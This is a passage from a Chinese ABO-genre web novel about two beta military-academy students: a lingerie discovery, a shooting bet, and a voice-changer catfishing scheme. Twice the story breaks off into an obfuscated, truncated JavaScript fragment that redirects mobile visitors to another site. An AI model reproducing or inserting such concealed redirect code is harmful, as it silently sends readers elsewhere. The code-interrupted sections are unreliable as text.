手臂上被时言咬出来的牙印还在,陆枭特意没弄掉,留着给他看的。 - 第二天清晨,阳光透过窗帘的缝隙洒在时言的脸上。 他缓缓睁开眼睛,只觉得脑袋一阵剧痛,宿醉的后遗症让他有些难受。 他努力回忆着昨晚发生的事情,却只记得一些零碎的片段。 好像听见了狗叫声,又好像和谁打了起来。 这时,陆枭端着一杯温水走了进来,看到时言醒来,脸上露出了一丝笑意:“醒了?把这个喝了,会舒服点。” 时言接过水杯,感觉自己断片了。 看陆枭这个憋着坏的表情,别是出洋相了? 时言一边喝,一边状似不经意地问道:“昨晚我是不是和人打架了?” 陆枭挑了挑眉,戏谑地说:“你英雄救美,救了个小omega,帅的人家不要不要的。” 时言“哦”了一声,“怪不得我有印象。” 陆枭好整以暇地靠着桌沿,看着床上的时言:“除了这件事,就没别的事情有印象了?” 时言一愣:“还有别的事吗?” 啊,头好痛! 完了什么也想不起来,不会是趁乱把陆枭给睡了吧? 看他那副表情,肯定没好事。 陆枭看着床上抱着脑袋懵逼的人,倒没有用咄咄逼人的架势,而是跪着上了床,一点一点挪到了时言面前,捏着他的脸,似笑非笑地:“你昨晚叫我老公来着。” 时言:одо!!! 时言不可置信,眼睁睁看着陆枭,连被他掐下巴挑衅都忘了反击。 陆枭低头凑近,大拇指指腹有一下没一下地摩挲着时言的下巴,然后直起身,低下头,居高临下的望着他,“你还咬我了。” 时言:(●.●) 笑不出来,真的一点也笑不出来。 时言不太自然地往后靠了靠,试图躲避陆枭的手指:“呵呵,是吗?” 陆枭松开手,微微低头,瞳孔像被乌云遮住的琥珀,他整个人压了过来,双臂撑开,将时言笼罩在臂弯之下,遮住了头顶的光源。 男生声音不大,却难得表里如一的冷寂,“不想负责?” 7. 挑肩带 宿醉的时言:“…” 起猛了,一个beta要他负责。 也没怀孕。 时言抬起眼,锋利的眉压住了上眼皮,暂时脾气还算不错的说:“第一,我肯定不会叫你老公,除非我被一只omega鬼附身了,可惜你也不是alpha。你大概是喝多了,臆想症,当然,如果我把你睡了,那我负责把你当老婆养。” 陆枭扬了扬眉:“听上去还有第二?” 时言语气不急不慢地,好像此刻被陆枭压在下面的人不是他,“第二,我咬你是你因为你欠咬,你要是还疼的话,我可以给你揉揉,虽然我知道你肯定是在装,但为了补偿你,我愿意陪你演戏。” 陆枭要笑不笑的,深邃有神的双眼此刻仿佛覆上了一层寒霜。 时言观察着陆枭的表情,觉得这家伙似乎是被激怒了。 他们毕竟不是真正的beta,还没有把情绪规范到一个可控的区间,尤其是陆枭,精神力像心电图,时高时低,比alpha还不可控。 他们俩是世上绝无仅有的一对罕见病人,所以,从小到大,时言看他一眼就知道他心里在想什么。 陆枭似乎有话想说,但隐忍着没有说,那话就堵在他嘴唇边,感觉他时刻要张嘴放出刻薄利剑。 时言告诉自己要冷静,先开口的一方就输了。 沉默、沉默就对了,他不说话我也不说。 但是,陆枭覆在他身上的这个姿势实在是有点糟糕了,他们以前也有过类似的打架姿势。 只有这一次是在床上打架。 时言微微挺起身,两条腿不自然地伸直,想要把他推开,“行了,别闹,我去洗脸。” 但这似乎惹到了陆枭,对方凌厉地出招,虚虚握住了时言的手腕,这绝对是近身格斗才用得上的手段,力气不大,但足够让时言难以脱逃。 “这就完了?” 时言:? 你还想咋? 时言出于本能躲避掉陆枭的束缚,挑了挑眉,抬起膝盖抵住陆枭的腹部,尽管是屈居于陆枭身下的状态,神情却满是高高在上的倨傲:“恼羞成怒了,还是被我揭穿谎言,感觉没面子了?放心,我不说,没人知道的。” 陆枭并没有回答,保持着姿势不动,他的手缓缓来到时言的小腿上,轻轻握住少年紧绷的小腿肚,逐渐攥紧。 陆枭淡淡地垂下眼皮,神色恹恹,吊儿郎当的。 时言这才意识到中了陆枭的计,他现在完全落在了陆枭手里。 这速度跟玩弄猎物有什么区别? …唉,看他气成这样,说点好话算了。 好汉不吃眼前亏。 时言抿了下嘴唇,“陆枭?那个,我忘了跟你说,昨天晚上谢谢你照顾我,要不我可丢脸了。” 陆枭单只手臂撑在时言脑袋旁边,另只手握着他的腿弯,眼神里没有多余的情绪,让人看不出他此时此刻在想什么。 “言言,你是真听不懂还是装听不懂?” 他低沉的声音泛着哑,掌心很烫,隔着裤子传来,像是要烧坏时言的肌肤。 时言的腿被掰得很开,这会儿非常不习惯,听见这话,他猛地抬眼,余光却察觉到陆枭裤带里随身携带的手铐。 时言脑中立刻拉响警报! 不能被他铐上! 得想办法把手铐勾出来,然后把他铐上,制服他,才能幸免于不幸。 时言表面上不动声色,开始转移陆枭的注意力:“什么听得懂听不懂的,你在打什么哑谜?” 陆枭顿了顿,看着时言。 少年宿醉刚醒,智商还没有完全的占领高地,简直是最好欺负的时候。 他甚至都没注意到自己穿着军靴就上床睡觉了,制服没脱,那条白色蕾丝的细细肩带还藏在层层叠叠的严整制服下,完全不知道那里面是什么样的风景。 可是时言毫不吝啬地给网恋对象看了他的身体、那些柔软的白蕾丝、甚至是衣领里面的风景…… 陆枭能在耳边听见自己极速撞击肋骨的心跳声,不知道此时此刻,自己该扮演一个怎么样的角色。 是抓到死对头穿情趣内衣并且加以嘲笑的死敌? 还是抓到对方出轨的妒夫? 陆枭眸光一暗,看着少年睡的乱七八糟的脸,用那副冷静隐忍的面具,将内心的烈火深深隐藏。 陆枭放轻了声音:“言言,我也有两件事要和你说。” 时言仰头看着他,脑袋里的酒意消得差不多了,嘴角勾起一抹迷惑人的笑:“嗯?说吧说吧。” 陆枭学着他的句式:“第一,昨天晚上,你看到那个被调戏的小omega,想都没想就冲了出去。” “我知道当时你喝醉了,但是你打了那群alpha一通还不算完,还要把他们打得爬不起来。” 时言记得是有这么回事,“嗯,然后呢?你想说什么?” 同时脚缓缓抬起,悄无声息地偷窃陆枭兜里的手铐。 陆枭垂了垂眼,“救那个omega没错,但你有没有想过,如果你受伤了,我会有多自责?” “自责不知道怎么向我爸妈交代?” 时言抬眉,俊俏的眉眼有种少年意气风发的魅力,反抗的时候也生机勃勃,桀骜不驯,透着难以管教的嚣张:“我不会受伤,你知道的,唯一能打过我的,只有你,陆枭。” 明明这张脸很难让人与柔顺、美丽、温顺这些词挂钩,但是陆枭却对他的敌意视若无睹。 “那你有没有想过我的感受?”陆枭低声说,“你为了一个陌生omega,居然敢去拼命,叫都不叫我帮忙,你还说你没做错吗?” “我没错,如果再遇见一次,我还会这么做。” 时言在这一刻得手,膝盖往后一撤,身体向上蹿出去,翻身把陆枭按在床上,甩开手铐铐住陆枭,同时大腿打开,结结实实夹住了陆枭的腰,“别做没有必要的担心。” 陆枭几乎是立刻握住了他的膝盖,微微用力,让他的双腿分开一些,固定在自己身上。 陆枭看了他的腿一眼,慢悠悠地抬眸:“言言,为了逃避指责,所以投怀送抱?” 陆枭:“可惜了,我不吃这一套。” 陆枭的手掌滚烫,隔着制服裤,热度也似乎要将他点燃,时言后知后觉的时候已经来不及了,但是这会儿收拾陆枭更主要一些。 “陆枭,只要你不发疯,我不会有任何危险,这一点是我们这么多年相处的共识,所以需要被担心的不是我,而是你。” 时言居高临下地说,“多谢你昨晚没有帮我,否则我们俩今天一定是在拘留所,所以你不该来谴责我,而是该庆幸昨晚我喝醉了酒需要你照顾,而不是放任你去打死那些alpha。” 为了防止一屁股坐下去碰到他的敏感部位,时言不得不支起膝盖跪在床上,心里已经把这个该死的姿势骂了十万八千遍。 但是情急之下,为了脱身,他也没有好办法。 陆枭整个人仰面躺在床上,几乎没有反抗能力,就那样直勾勾地盯着时言。 时言见他不说话,为了缓和情绪,一只手抓起他双手的手腕,把他胳膊举过头顶,高高在上地看着他,“好了,你现在可以继续阐述你的观点了,你刚才说不是有两点吗?第二点呢?” 陆枭根本都没有在挣扎,他就放任时言骑在他腰上,两条长腿微微曲起,膝盖骨骼碰到了时言的背,眼神隐隐约约散发着淡淡的晦暗意味。 他这么一弄,时言更不舒服了,手紧紧压了一下陆枭的胳膊,故意按在昨晚自己咬出的牙印上,“喂,你哑巴了?” 陆枭的眸光流转,轻飘飘地落在时言的肩上,如同透视眼。 时言立刻有点心虚,昨晚睡得太急,蕾丝内衣都没脱,丝袜也没摘。 救命啦! 但以他对陆枭的了解,陆枭不会半夜闲的没事扒他衣服,嗯…应该不会被发现的。 陆枭似笑非笑地说:“言言,既然你那么懂我,你猜我现在要说什么?” 时言老老实实地摇头,“猜不到,你别卖关子了,说呀。” 陆枭慢条斯理地说:“空口无凭,我需要把证据摆到你面前,才能质问你。” 陆枭的手在他膝盖往下游走,握住了他的鞋帮。 我敲了,不敢动,一点也不敢动。 陆枭眼睛怎么这么毒? 怕被发现军靴里的白色蕾丝袜,那后果不堪设想。 男生修长的手指抚摸着军靴的边缘,时言这才意识到自己居然穿鞋上床了,要多亏老妈没有看到,否则一定打死他! 时言的气焰在那一瞬间消减了一点。 然而,陆枭只是碰了碰他的鞋,目光如炬,像一把锋利的刀,把时言整个盯毛了。 然后陆枭把手挪开了,似乎什么也没发现。 时言都没来得及喘一口气。 陆枭的下一个动作让他瞳孔整个放大! 陆枭的手突然远离了他的军靴,以藤蔓攀缘的姿态握住了他的手臂,瘦长的指尖扣住时言的肩头领口,钻到暖融融的衬衣里,手指一弯,勾到了什么,不轻不重地挑了那么一下。 “啪!” 制服被无情扯下来一点点,少年骨骼分明的肩部肌肉上,赫然勒着一条明显不属于他的白蕾丝肩带。 那地方的皮肤常年不见光,甚至有些苍白,由于这一夜都没有摘掉肩带,一条殷红的印子不合时宜地晕染在他的皮肤上。 刚才又被蕾丝抽弹了一下,一片肌肤都红了。 有点疼。 但现在不是疼不疼的事。 “……” 听见肩带清脆的声音,时言石化在陆枭腰上,脑子都空了。 “言言,你是不是至少该给我解释一件事。” 陆枭压着嗓子,他的目光在时言身上来回扫视,眼中燃烧的质询几乎要喷薄而出,却又被他拼命压抑着。 “你就穿着这身衣服出的门,吃的饭,还晃悠了一晚上,和alpha打架。” 时言的呼吸极速加剧,半天了,才挤出一个字,“我…” 其实我穿给网恋对象看的你信吗? 呵呵,呵呵呵。 陆枭深呼吸了一下,眸子像淬了冰,说出的话一个字一个字的,好像在咬着牙关说话,“我都从来没见你穿过这么漂亮的衣服。” “……”时言一个字都说不出来。 没脸,没有脸说。 “或者这不该称之为衣服,而是……” 陆枭话音慢慢的,时言觉得有点不太对劲,但是一时半会儿还没反应过来哪里不对。 直到陆枭趁他失神的功夫,用钥匙打开了手铐的锁。 这毕竟是陆枭的手铐。 “……” 他有钥匙啊! 时言恍然,这才想起来自己目前占据上风,顾不得太多,膝盖一松,好像有点要坐在他身上了,但是已经来不及了。 手铐咔哒一声脱落,陆枭得到了自由。 陆枭拧了拧手腕,就像被关在笼子里驯化的恶狼撕破牢笼,第一件事是扑向拿着鞭子的驯养员,或是撕咬,或是寻衅,总之不会用任何好态度对待执鞭子的人。 时言:! 陆枭抬头,喉结缓缓滚动,一只手上还挂着冷金属手铐,另一只手撑起自己,戴着手铐那只手牢牢固定住时言的大腿,让他坐自己身上,逃也逃不了。 时言还感受着腿被狠狠握住的震撼。 陆枭已经冷着脸,拉下了时言的衣领。 陆枭亲眼在阳光下看到了那条雪白纤细的蕾丝吊带,就挂在少年清瘦精致的锁骨前。 再往下拉一点,蕾丝的蝴蝶边缘冒了出来,再往下,更精美的镂空蕾丝出现,然后是粉红色的边缘—— 时言:“……” 我死了。 这次我真的死了。 “停! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358820|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”时言第一反应是咬住嘴唇,去捂陆枭的眼睛,“别看了!” 陆枭难得反抗一次,扭开脸,不让他碰眼睛,薄唇一张一合,时言反应了5秒钟才听清他说的是什么。 “这是不是你第一次穿?” “好美。” “全脱了,让我看看你里面是什么样子。” 时言只能把他嘴也捂住。 陆枭:“…………” 手指骨节上方,鼻梁两侧,一双狼一样凶狠的眼睛盯着时言,泛着幽幽的绿光。 时言咽了下口水,第一次感觉到陆枭其实是非常富有攻击性的人,这不像是beta,如果不是这种病,他可能会分化成alpha。 时言露着半边肩膀,第一次面对陆枭虚了。 陆枭也是疯了,居然会觉得…美? 察觉到陆枭的手已经到了他的靴子边缘,碰到了那层雪白薄薄的丝袜,时言如同炮仗一样挣脱了枷锁,从陆枭身上跳下去。 “那什么,我先回去上课了!” 时言只来得及抓起自己的智脑,一边捂着领口一边急匆匆跑出了房间,别的什么也顾不上了。 陆枭这次没再来阻拦,慵懒地靠在床头,沉沉的目光好似要将时言钉在耻辱柱上。 他承认自己骗时言不对。 可是,他不确定时言是不是真的喜欢那个“渣男alpha”? 他想追出去,正大光明地,逼问时言到底穿给谁看。 可惜,就连追出去质问时言这件事,他都没有资格。 - 回到军校,时言第一时间换掉了蕾丝内衣,出了公寓楼之后依旧是魂不守舍,差点连靶场都没找到,迷路了好几圈。 今天全天都是射击课,所有同学去往靶场,宽敞且弥漫着硝烟气息的枪械训练场上,强烈的日光毫无保留地洒在排列整齐的射击位。 课程开始后,时言站在遮阳棚里,身边就是陆枭。 但是他们俩谁都没有和谁说话。 不知道陆枭什么情况,是不是还在生气。 反正时言是不敢和他说话。 陆枭站在相邻的靶子前,专注地调试着手中的枪械,准备进行新一轮的射击训练。 金属质感的枪械在自然光下闪烁着冷峻的光芒,如同他侧脸。 菲利尔教官喊:“现在开始进行训练,击中10环的同学才可以下课。” 所有人各就各位,然而,时言瞄准靶子,正常射击,但是怎么射也射不中10环。 这是射箭靶面的靶心,对精准度要求最高的区域,也是每位军校生梦寐以求的目标,以前时言的准确度能达到98%,但是今天是0%。 柚木叶今天超常发挥,居然都射中了9环,摘掉护目镜,抱着枪到时言旁边,小心翼翼的:“时哥,你入学成绩不是10环的吗?对你来说应该是小菜一碟啊,你怎么心不在焉的?你打的都没我准,你被夺魂啦?” “没有。”时言到现在脑子都是一团浆糊,身边又是陆枭,这让他怎么集中注意力? 莱厄斯把枪头避开大家,担忧地说:“陆枭也是,8环都勉勉强强,你们俩怎么了?昨天晚上闹了什么不愉快吗?” 时言别扭的说:“没有不愉快。” 是单方面社死。 突然,一阵尖锐的声音打破了训练场上原本的秩序感。 “赫墨斯真是不行了,什么人都往里招,无分化症的beta也配进来了。” 一个高大的alpha带着明显挑衅意味的声音响起,“昨天晚上在大厦里救omega的就是你吧,时言?挺厉害啊,一个人单挑五六个alpha,还赢了,我以为你多厉害,结果打枪就打成这个样?” 说话的是祁司屿,alpha,入学成绩排第三,时言后面。 他双手抱在胸前,脸上挂着一丝不怀好意的笑,“还有陆枭,不是保送吗?靶子也打成这个样?怎么,你俩都被omega的香味迷傻了?” 周围的同学也跟着哄笑起来,他们的目光在时言和陆枭之间游移,像是在期待好戏开场。 军校里每天都在上演学生打架,菲利尔管都不管。 时言冷笑一声,转头,状态来了,端起手中的枪,动作流畅而娴熟。 “砰砰砰”,三声清脆的枪响接连响起,每一声都像是一记重锤。 所有人的目光都被这突如其来的射击吸引过去,只见三个弹孔精准无误地分布在靶心位置,几乎重叠在一起,形成了一个完美的射击成绩。 时言动作利落地摘下护目镜,他的眼神冷得仿佛能结出冰来,“祁司屿,笑我没事,笑陆枭不行。” 然而陆枭并没有被激怒,抬腕,扣动扳机,“砰”一颗子弹射出去,正中靶心! 10环! 好样的陆枭!给他们看看你不认输! 菲利尔教官在远处大喊:“时言,陆枭,你们俩10环,非常不错,可以自由式射击了。” 时言好像看见一只小手啪啪啪打祁司屿的脸。 该! 祁司屿:“……” 陆枭摘了护目镜,朝时言走过来,每走一步,周围的空气似乎都降低了几分温度。 时言咽了下口水。 他现在一看见陆枭就紧张,太社死了,啊啊啊啊! 然而,陆枭站定在时言身边,冷冷地开口:“祁司屿,赛场上见。” 说完,当着大家的面,陆枭放下枪,拽着时言,大步流星来到更衣室,反手把门“砰”的一声关紧。 时言差点被甩飞了,后背靠在衣柜门上,抬头,紧张地看着浑身戾气的少年一步一步逼近,声音都抖了,“陆枭,你别激动,你——” “言言。” 陆枭舔了下干裂的嘴唇,难得一次在极度的暴躁中做到了心如止水,低下头,虚虚牵住了时言的衣角,“跟我和好。” 时言:? 啊??? 8. 夹子音 高高瘦瘦的男生在日光照射下,连发梢也晕染上一层雾茫茫的澄黄,冷白的肤色在阳光下显得轻薄到快要透明。 陆枭在盯着时言看,目光犹如实质,像是要把他看穿。 “言言。” “你理理我。” 时言受不了这么执着的目光,视线不自然地转移到旁边。 然而陆枭捏着时言的脸蛋,轻轻地用力把他抻了回来。 时言眸子一眯:“……” “陆枭。” “你找死。” 陆枭手指一僵,瞳孔猛然紧缩! 然后外面的柚木叶和莱厄斯就听见了丁零当啷的柜门撞击声。 祁司屿抱着手臂看热闹:“呦呵,你们1班这一天够热闹的,俩王牌不是在里头打起来了吧?” 大家一起看热闹吃瓜,祁司屿还在那调侃,柚木叶扶了扶额,大声喊:“都散了都散了,看热闹没够是不是?” 莱厄斯仔细听了听声音,“叶子,他俩好像在打架,还吵了两句。” 柚木叶眼睛一亮,立刻往里挤:“我说呢,他俩今天打靶打成那个水平,原来是闹别扭了,心思不在靶子上,就他俩这种情况,打一次或者睡一次就好了,快点快点给我让个路,我看看。” 莱厄斯:“……” 更衣室里,闷热的空气不流通,在正午日光的照射下,温度硬生生拔高了两档。 时言的拳头包住陆枭的拳头,他都累的出汗了,终于成功和陆枭一起摔到了沙发上,撞的制服乱七八糟,陆枭抓着他的胳膊,他别着陆枭的腿,谁也没占到便宜。 时言昨晚真喝多了,现在一点劲儿没有,要不非得让他叫爸爸。 于是撩起眼皮瞪陆枭,“别在这打,有种跟我出去,咱俩打自由式移动靶,看谁打的多。” 陆枭也没真用力抓他,就是拽着他袖子,心不在焉地垂了垂眼,笑的很没有灵魂,“行啊,赌什么?” 时言想了想:“你说。” 陆枭想也不想就说:“今天上午那件内衣,再穿一次给我看。” 时言脑门上立刻爆青筋:“陆、枭,那就是…就是我表妹跟我打赌,我赌输了,要我穿给她看的,不是别的原因,你别瞎想。” 对不起了表妹,哥也是没办法! 陆枭抬了抬眉毛,眸子闪烁着戏谑的笑容,慢条斯理地点头,“哦,这样啊,那我换一个赌注。” 陆枭晃晃手腕,时言这才松手了,红着脸整理衣服,也不知道自己是气的还是热的,还是害怕陆枭趁机敲诈,反正心跳很快。 陆枭欣赏了会儿他的样子,慢悠悠地说:“要是你赢了,你这学期房租的租金我出。要是我赢了,你答应我,出实训任务的时候和我住在一间宿舍里。” 时言舔了下嘴唇,简直不敢相信陆枭在说什么胡话:“你、你想跟我住一起?” 陆枭望着他亮晶晶的嘴唇,慢声说:“怕?小时候咱俩不是睡过吗?” 时言:…… 就别提这个,提这个气就不打一处来。 “谁和你睡过!” 陆枭歪了歪头,“你搂着我,我抱着你,你的腿还搁在我腰上,还不算睡?” 时言捂了捂脑门,咬牙切齿的:“我们那时候还是小屁孩,你来我家住,都没分化,一起睡觉怎么了?而且,睡觉就说睡觉,你多说一个字会死吗?” 时言和陆枭小时候确实住过一起,是陆上将被带走调查之后,陆夫人急火攻心去了医院,小陆枭就被送到小时言家里住一段日子。 时夫人让他们俩住在一起,才第一天,小时言的玩具就刚好坏了,虽然不知道怎么坏的,但是新的玩具却水灵灵地出现了—— 小陆枭成为了小时言的毛绒玩具。 这个玩具好啊,不哭不闹还会说话,热乎乎的,小时言每天晚上抱着大玩具睡,可高兴了。 时言捂着脸… 黑历史啊黑历史。 陆枭的嗓音莫名其妙有点低沉:“答应吗?” 时言心一狠:“…行,就这么定了。” 豁出去了。 今天必须赢他! 陆枭的眼眸划过一点点愉悦的笑意,转身就走出了更衣室。 时言跟着他出去,一见他们俩,外面的同学呼啦一下子就散了,祁司屿耸了耸肩,“没打起来?真没意思。” 柚木叶围着他俩一顿看,“吓死我了,还以为你俩反目成仇了,没事就行。” 时言平静一笑,“没事。” 但是付出了更重的代价! 如果输了,真住在一起,怎么和渣男网恋啊?啊? 所以必须赢! …… 两个小时以后。 移动靶场的积分室外,时言拿着成绩单,郁闷的用脑袋直撞墙。 输了,输了… 就比陆枭少击中一个移动靶… 就一个… 时言蹲在地上,没精打采的,觉得自己一世英名全都毁在了这个下午。 陆枭刚好拿着成绩单从积分室里出来。 “要不再来一次吧,陆枭。” 时言拽住了陆枭的裤腰边缘,“我刚才小飞虫进嗓子里了,失误,真的,你是了解我的,我怎么可能丢那个靶?那个那么简单,再来一次吧好不好?” 陆枭低头看着他,冷酷而无情地勾起唇角笑了一下,“不行哦,言仔。” “撒娇也没用,愿赌服输,是你自己答应要给我睡的。” 时言差点原地蹦起来,“我哪里答应给你睡了!” 陆枭一本正经地回答他:“你小点声,别人都看我们呢。” 你还知道丢脸了! 时言左看右看,忍气吞声地放低了声音,“陆枭,枭哥,这回算我失误,就一次,再比一次!” 时言竖起食指,比了个1。 陆枭缓缓地半蹲下,盯着这个1。 然后把时言这个1按下去,变成了攥拳的姿势。 “让一次都不行,这种事情有第一次就有第二次。” 陆枭本来就很俊美,这么不怀好意地一笑,像华丽阴森的吸血鬼贵族,“谈判不是这么谈的,小可爱。” 时言:“……” 不行就不行呗,还不让人家竖1。 …等会儿。 “你叫我什么?”时言眯了眯眸。 陆枭罕见的有一点点慌乱,迅速被他的冷静所遮掩过去,站起来,俊脸不红不白,平静地说:“总之你输了,到时候别不认账。” 时言闭了闭眼,颓废的说:“……你放心,我还没那么无赖。” 陆枭皮笑肉不笑地点点头,很潇洒地离开了。 时言捋了把头发,闷闷不乐地回了教学区,顺手在公寓楼下的星通快递站取了自己的包裹。 寄件人是表妹。 今天总算是有点好事发生。 大概一周前,表妹打电话跟他说,“哥,你得学夹子音,至少不能粗着嗓子说话,要学得像omega小女生一点。” 时言自己试了一下夹子音:“好像不太行,能听出我不是女生。” 表妹:“那用变声器吧!我给你买一个,这个牌子的我知道很好用!” 时言多嘴问了句:“你是女孩子,也用变声器?” 声音非常响亮的表妹:“诶呀人家也是要形象的嘛。” 时言哭笑不得:“行,你买来我就用。” 结果这么快就买来了,还附带了一堆东西。 黑红色可以带在脖子上的小狗骨头项圈,这东西学名叫choker。 还有丝带铃铛手环,纯欲风性感脚链,珍珠蝴蝶结腰链,腿链…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358821|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时言越看头皮越麻。 还有猫耳发饰,眼罩,腿环,甚至omega专用腺体罩…… 时言看着快递单,冷静了很久很久,手都抖了。 ……表妹的钱也是钱,都是钱买的,不能浪费,不能拒收,否则表妹要发飙的。 时言长叹息一口气,做贼一样,抱着一摞快递蹭蹭往公寓楼里走,顺手打开了TT。 刚才智脑一顿震动,渣男来消息了。 【渣男a:宝宝,认识这么久,我还不知道你叫什么?】 香香软软的omega女孩子该叫什么? 死脑子快想啊! …有了! 【小咪耳朵:人家叫糯糯。】 【小咪耳朵:好听吗哥哥?】 时言唾弃自己! 【渣男a:可爱。】 【渣男a:想知道你的声音是不是也和你的名字一样好听。】 【渣男a:可以和我说句话吗,糯糯?我想听听你的声音。】 时言:! 时言急匆匆地回了房间,打开变声器包裹,取出一个精致小巧的变声器,小鲸鱼牌子的,也不知道品牌方怎么想的广告词,“让你的男朋友一听就喷。” 大概意味着功能强大吧? 时言以前没接触过这种小道具,这次为了骗渣男网恋,真是见识了不少东西。 时言深呼吸一口气,把包装撕吧撕吧扔垃圾箱里销毁证据,对着说明书,自己试了一下。 “哥哥?” 时言惊了! 声音是软软糯糯的,听起来娇柔可爱,充满甜美的感觉,柔软得发嗲,强化了娇嗔的特质。 真的可以以假乱真了,在网络上说话根本听不出来真假。 时言打开话筒,小心翼翼地说:“哥哥,能听到吗?” 时言还回放,自己听了一遍。 听完自己都脸红了。 渣男回复地很快:“能听到。” 诶?渣男的声音也很好听,有一点嘶哑。 这家伙如果不是也用了变声器,就是百分百的渣A音,怪不得招omega喜欢。 时言还刻意地夹了下嗓子,“哥哥喜欢我的声音吗?” 渣男顿了顿。 “嗯。” “喜欢。” 上钩了! 时言想了想渣男应该会喜欢自己说什么,又发了一条语音:“想听哥哥叫我的名字,还要叫人家宝宝。” 陆枭在智脑前愣了几秒。 然后陆枭对着变声器说。 “宝宝。” “糯糯。” 时言这时候才坐在了转椅上,在网上找了一份情话攻略,随便找了一句。 “哥哥,喜欢你,好喜欢你,想永远当你的宝宝,就是那种犯了错都舍不得责怪我的,好不好嘛。” 他浑身肌肉一放松,嗓音也变得慵懒起来,像是一把带着勾子的小猫爪,在耳机里面有一下没一下地撩着人。 【渣男a:嗯。】 【渣男a:就算你犯错,我也不会欺负你。】 时言心说这变声器威力真大,差点把自己omega的人设给忘了。 “哥哥真好,我的腺体只给哥哥咬。” “但是哥哥要轻轻的,糯糯怕疼。” 时言脸红的要滴血,逼自己说完,等渣男回话。 一墙之隔,陆枭神色漠然,修长手指摘下耳机。 轻点屏幕,自虐一样回放了最后那句消息。 少年淡淡地垂眸。 beta的腺体,不能被标记,不能散发信息素。 无法占有,亦无法烙印。 就算这样,时言也喜欢alpha吗? 陆枭冷冷起身,去了卫生间,反锁上了门,过了会儿,哗啦啦的水声不合时宜地响起。 9. 腹肌照 从卫生间出来后,陆枭的脸上没有什么特别的情绪,他重新坐到床边,打开聊天界面,看见时言发来了新的消息。 【时小狗】:“哥哥,我们认识好久了,可以看看腹.肌吗?” “时小狗”是陆枭给时言的备注,正如时言给他的备注是“渣男a”。 实际上,陆枭的网名是“不冻港”,时言在校园网正儿八经的网名是“北极圈”。 想要成为北极圈里唯一的不冻港,是陆枭取这个网名的初衷。 好像是怕他不回,时言那边又来消息了: 【时小狗】:“想看哥哥的腹.肌,这样的话,糯糯晚上才能睡着。” 陆枭脸色沉静地可怕,深邃的眼眸中浮现一丝疯狂到偏执的嫉妒。 这嫉妒如同藤蔓般在少年心里疯长,陆枭拳头不自觉地握紧,指关节都泛白了,可他却浑然不觉。 指甲深深掐进了手掌心,时言刚才蹲在墙角拉他裤脚的样子还在眼前。 ……那么嚣张跋扈的少年,露出那么可爱的表情,稍微说两句,就答应在一个宿舍住了。 他怎么这么心软? 明知道网恋对象是“渣男alpha”,也选择用甜甜的嗓音撒娇卖萌? 陆枭心里就一股火气,磨了磨牙根,不知道为什么,成年以来,牙齿就好像进行了二次发育。 总是很痒,想咬东西。 最好是一块柔软的肉,生长在少年清瘦的颈骨后。 用无数个日日夜夜,把那块最湿软柔嫩的地方,翻来覆去地撕咬,蹂.躏,直到那块没有信息素的软肉,留下经年不愈的印记,才愿意罢休。 就算是无分化症又怎么样? 哪怕一次又一次不厌其烦地咬下去,用鲜血来铭记一次次标记,也不想失去。 陆枭深呼吸一口气,平复了心情,沉默地打开了光脑相机,撩开衣角,对准自己的腹部。 既然时言想看,那就给他看。 不论是以谁的身份,只要时言喜欢,就给他看。 - 现在,时言非常想看看这个渣男什么身材实力,让表妹对他念念不忘。 时言不确定对方会不会发照片。 在他想象中,对方大概是那种其貌不扬,但是很会花言巧语的类型,否则为什么要用网图骗妹妹? 事实上,很多omega并不缺帅气的alpha追求者,但是有权有势的alpha们通常脾气硬朗,霸道张扬,不太会哄omega开心,导致联邦在匹配婚姻的过程中遭到了很多omega的抗议,所以不得不特设alpha婚前培训班来降低匹配失败率。 “叮叮!” 消息来了! 时言立刻趴在智脑前睁大眼睛看! 确实是腹.肌照,而且…相当有料。 时言吞了口唾沫,心说如果表妹看到过这个照片,估计肯定得是鬼迷心窍了。 这个渣A皮肤很白,冷白色调,似乎是为了让腹部更好的出现在画面里,他单手撩起衣摆,撩衣摆那只手就已经很好看了,像漫画手,无名指有一颗鲜红的小痣。 如果不是这颗痣,那时言见过的唯一比得上这双手的,就是陆枭的了。 被撩起的黑色卫衣下面,男生的腹部肌肉一块一块,如同有棱有角的几何图形,界限清晰,立体而富有质感,腹部两侧有两条V形线条,如同人鱼的身体线条般优美。 …… 操。 真帅。 时言暴躁地捋了把头发,顿时理解了表妹的色欲熏心。 这搁谁谁不迷糊? 而且肯定不是网图。 因为对方用光脑直接拍了照片,屏幕一角还有他们的聊天界面,做不了假。 渣A的身高也不矮。 时言放大照片,注意到,对方腹部最底部系着一条灰色运动裤的裤绳,大腿很长,小腿甚至出了画面外,从这个角度去推算对方的身高,大概有190左右。 这条件谈什么网恋? 时言不理解。 但是有一点,时言没有看见对方的男性特征。 按理说,灰色裤子是最能勾勒轮廓大小的。 时言陷入沉思。 这人不会是不行吧? 如果不是刻意隐去,那就是小。 渣男A都特别喜欢炫耀自己身上大的地方,他要是有,他为什么不炫耀? 肯定是小。 怪不得,不愧是只能网恋的渣A,估计现实生活里根本找不到omega喜欢他。 但是该有的夸夸一句都不能少。 时言开着变声器,“娇羞”地说:“诶呀,哥哥好帅啊,我都不敢看了,想被哥哥抱起来贴贴。” 